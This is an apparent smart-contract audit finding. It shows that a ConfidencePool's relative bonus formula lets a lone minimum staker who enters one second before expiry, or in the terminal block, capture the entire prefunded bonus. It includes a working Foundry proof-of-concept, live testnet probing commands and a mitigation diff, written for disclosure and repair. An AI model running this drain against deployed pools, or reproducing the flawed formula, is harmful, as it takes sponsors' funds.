Root + Impact
Description
Normal behavior is that deposits made during UNDER_ATTACK are allowed but should earn approximately zero bonus when they enter late in the risk window. The design documentation explicitly relies on k=2 time-weighting to crush late entrants, so these deposits are treated as voluntary near-zero-reward risk capital.
The issue is that the bonus formula is purely relative to the current eligible staker set and has no absolute minimum exposure requirement. When a pool is prefunded with bonus but has no stakers, a sole attacker can enter at the terminal timestamp, or one second before expiry, and become the entire denominator of the distribution. The result is that a zero-duration or one-second position receives the full sponsor-funded bonus.
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
if (amount == 0) revert InvalidAmount();
if (amount < minStake) revert BelowMinStake();
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
if (block.timestamp >= expiry) revert StakingClosed();
@> _assertDepositsAllowed(_observePoolState());
...
@> uint256 newEntry = block.timestamp;
uint256 start = riskWindowStart;
if (start != 0 && newEntry < start) newEntry = start;
uint256 contribTime = received * newEntry;
uint256 contribTimeSq = received * newEntry * newEntry;
@> eligibleStake[msg.sender] += received;
@> userSumStakeTime[msg.sender] += contribTime;
@> userSumStakeTimeSq[msg.sender] += contribTimeSq;
@> totalEligibleStake += received;
@> sumStakeTime += contribTime;
@> sumStakeTimeSq += contribTimeSq;
}
function _assertDepositsAllowed(IAttackRegistry.ContractState state) private pure {
if (
state == IAttackRegistry.ContractState.PROMOTION_REQUESTED
|| state == IAttackRegistry.ContractState.PRODUCTION || state == IAttackRegistry.ContractState.CORRUPTED
) {
revert StakingClosed();
}
@>
}
function _bonusShare(address u, uint256 userEligible) internal view returns (uint256) {
if (snapshotTotalBonus == 0) return 0;
if (riskWindowStart == 0) return 0;
uint256 T = outcomeFlaggedAt;
uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u];
uint256 userScore = userPlus > userMinus ? userPlus - userMinus : 0;
uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
uint256 minus = 2 * T * snapshotSumStakeTime;
uint256 globalScore = plus > minus ? plus - minus : 0;
@> if (globalScore == 0) {
@> if (snapshotTotalStaked == 0) return 0;
@> return Math.mulDiv(userEligible, snapshotTotalBonus, snapshotTotalStaked);
@> }
@> return Math.mulDiv(userScore, snapshotTotalBonus, globalScore);
}
The same-block SURVIVED path sets T equal to the attacker's entry timestamp, causing userScore == globalScore == 0; the fallback then pays the sole staker snapshotTotalBonus. The expiry path does not need the fallback: staking one second before expiry creates a nonzero score, but because the attacker is the only eligible staker, userScore == globalScore and the normal formula still pays 100% of the bonus.
Risk
Likelihood:
Reason 1: This occurs when a pool has a sponsor-funded bonus and no active eligible stakers before the agreement resolves or expires.
Reason 2: This occurs through normal public entrypoints: contributeBonus, stake, pokeRiskWindow, flagOutcome or claimExpired, and the final claim. The attacker only needs minStake.
Impact:
Impact 1: The attacker extracts the entire prefunded bonus while bearing zero or negligible measured risk.
Impact 2: The sponsor-funded reward is no longer distributed according to the protocol's stated risk-bearing incentive model.
Proof of Concept
Create test/unit/ConfidencePool.soleLateStaker.poc.t.sol with the following full test contract:
pragma solidity 0.8.26;
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract ConfidencePoolSoleLateStakerPoCTest is BaseConfidencePoolTest {
function testControlLateStakerIsCrushedWhenLongBearingStakerExists() external {
_stake(alice, 100 * ONE);
_contributeBonus(carol, 100 * ONE);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
vm.warp(pool.expiry() - 1);
_stake(attacker, ONE);
vm.warp(pool.expiry());
uint256 attackerBefore = token.balanceOf(attacker);
vm.prank(attacker);
pool.claimExpired();
uint256 attackerPayout = token.balanceOf(attacker) - attackerBefore;
uint256 attackerBonus = attackerPayout - ONE;
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.EXPIRED));
assertLt(attackerBonus, 1_000_000, "late attacker should receive only negligible bonus dust");
}
function testSoleMinimumStakerOneSecondBeforeExpiryCapturesEntirePrefundedBonus() external {
_contributeBonus(carol, 100 * ONE);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
uint256 start = pool.riskWindowStart();
vm.warp(pool.expiry() - 1);
_stake(attacker, ONE);
assertGt(block.timestamp, start, "attacker enters long after risk began");
vm.warp(pool.expiry());
uint256 attackerBefore = token.balanceOf(attacker);
vm.prank(attacker);
pool.claimExpired();
uint256 attackerPayout = token.balanceOf(attacker) - attackerBefore;
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.EXPIRED));
assertEq(pool.snapshotTotalStaked(), ONE, "only the minimum attacker stake is eligible");
assertEq(pool.snapshotTotalBonus(), 100 * ONE, "large prefunded bonus is snapshotted");
assertEq(attackerPayout, 101 * ONE, "one-second sole staker captures the entire bonus");
assertEq(pool.claimedBonus(), 100 * ONE, "all bonus is paid to the late attacker");
assertEq(token.balanceOf(address(pool)), 0, "nothing remains for recovery");
}
function testSoleMinimumStakerInTerminalBlockCapturesEntireBonusWithZeroMeasuredRisk() external {
_contributeBonus(carol, 100 * ONE);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
vm.warp(block.timestamp + 7 days);
_stake(attacker, ONE);
uint256 terminalTimestamp = block.timestamp;
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertEq(pool.riskWindowEnd(), terminalTimestamp, "terminal observation uses same block timestamp");
assertEq(pool.outcomeFlaggedAt(), terminalTimestamp, "T equals attacker's entry timestamp");
uint256 attackerBefore = token.balanceOf(attacker);
vm.prank(attacker);
pool.claimSurvived();
uint256 attackerPayout = token.balanceOf(attacker) - attackerBefore;
assertEq(attackerPayout, 101 * ONE, "zero-duration sole staker captures full prefunded bonus");
assertEq(pool.claimedBonus(), 100 * ONE, "fallback allocates the entire bonus");
assertEq(token.balanceOf(address(pool)), 0, "recovery receives nothing");
}
}
Run:
forge test --match-path test/unit/ConfidencePool.soleLateStaker.poc.t.sol -vvv
Observed result:
Ran 3 tests for test/unit/ConfidencePool.soleLateStaker.poc.t.sol:ConfidencePoolSoleLateStakerPoCTest
[PASS] testControlLateStakerIsCrushedWhenLongBearingStakerExists()
[PASS] testSoleMinimumStakerInTerminalBlockCapturesEntireBonusWithZeroMeasuredRisk()
[PASS] testSoleMinimumStakerOneSecondBeforeExpiryCapturesEntirePrefundedBonus()
Suite result: ok. 3 passed; 0 failed; 0 skipped
The control test proves the intended k=2 penalty works when a long-bearing staker exists: the late minimum staker receives less than 1_000_000 wei from a 100e18 bonus pool. The two exploit tests prove that removing the competing staker changes the late staker's payout from negligible dust to the entire 100e18 bonus.
Production/testnet check:
cast logs --rpc-url "$BATTLECHAIN_TESTNET_RPC" \
--from-block 10000 \
--to-block latest \
"PoolCreated(address,address,address,uint256,uint256,address,address,address)"
Observed one live factory-created ConfidencePool on BattleChain testnet:
factory: 0x44aF705d8289e97c0E48441E4E566c5faf43Ffa8
pool: 0x1892f011d853D6CA5Cf930143307a8E7dae27811
agreement: 0x847a9616bF9c09B716a50A5A374686AeefdAEaCC
stakeToken: 0x12EA23f5600d831cEE92cdbfA10F534a5e7BEF39
minStake: 1000000000000000000
Current state of that live pool:
cast call --rpc-url "$BATTLECHAIN_TESTNET_RPC" \
0x1892f011d853D6CA5Cf930143307a8E7dae27811 \
"outcome()(uint8)"
cast call --rpc-url "$BATTLECHAIN_TESTNET_RPC" \
0x1892f011d853D6CA5Cf930143307a8E7dae27811 \
"totalEligibleStake()(uint256)"
cast call --rpc-url "$BATTLECHAIN_TESTNET_RPC" \
0x1892f011d853D6CA5Cf930143307a8E7dae27811 \
"totalBonus()(uint256)"
Observed:
outcome = 2 // CORRUPTED
totalEligibleStake = 1000000000000000000
totalBonus = 1000000000000000000000
pool token balance = 0
This confirms that the ConfidencePool code path is deployed on BattleChain testnet, but it does not currently provide an end-to-end live M-05 exploit instance because the only discovered pool has already resolved CORRUPTED. The live exploit condition remains: a deployed pool with prefunded bonus, no competing eligible staker, and a later SURVIVED or EXPIRED resolution.
Recommended Mitigation
Add an absolute bonus-eligibility requirement so a deposit must bear risk for a minimum duration before it can earn bonus. Bonus that is not earned under the absolute exposure rule should remain sweepable to the recovery address.
function _bonusShare(address u, uint256 userEligible) internal view returns (uint256) {
if (snapshotTotalBonus == 0) return 0;
if (riskWindowStart == 0) return 0;
uint256 T = outcomeFlaggedAt;
+ uint256 minBonusDuration = MIN_BONUS_RISK_DURATION;
+ uint256 latestEligibleEntry = T > minBonusDuration ? T - minBonusDuration : 0;
+ if (_latestEntryForBonus(u) > latestEligibleEntry) return 0;
+
uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u];
uint256 userScore = userPlus > userMinus ? userPlus - userMinus : 0;
uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
uint256 minus = 2 * T * snapshotSumStakeTime;
uint256 globalScore = plus > minus ? plus - minus : 0;
if (globalScore == 0) {
- if (snapshotTotalStaked == 0) return 0;
- return Math.mulDiv(userEligible, snapshotTotalBonus, snapshotTotalStaked);
+ return 0;
}
return Math.mulDiv(userScore, snapshotTotalBonus, globalScore);
}
The exact implementation should preserve per-deposit accounting. Do not replace the current sums with a blended average entry time, because that would lose the existing per-deposit k=2 behavior.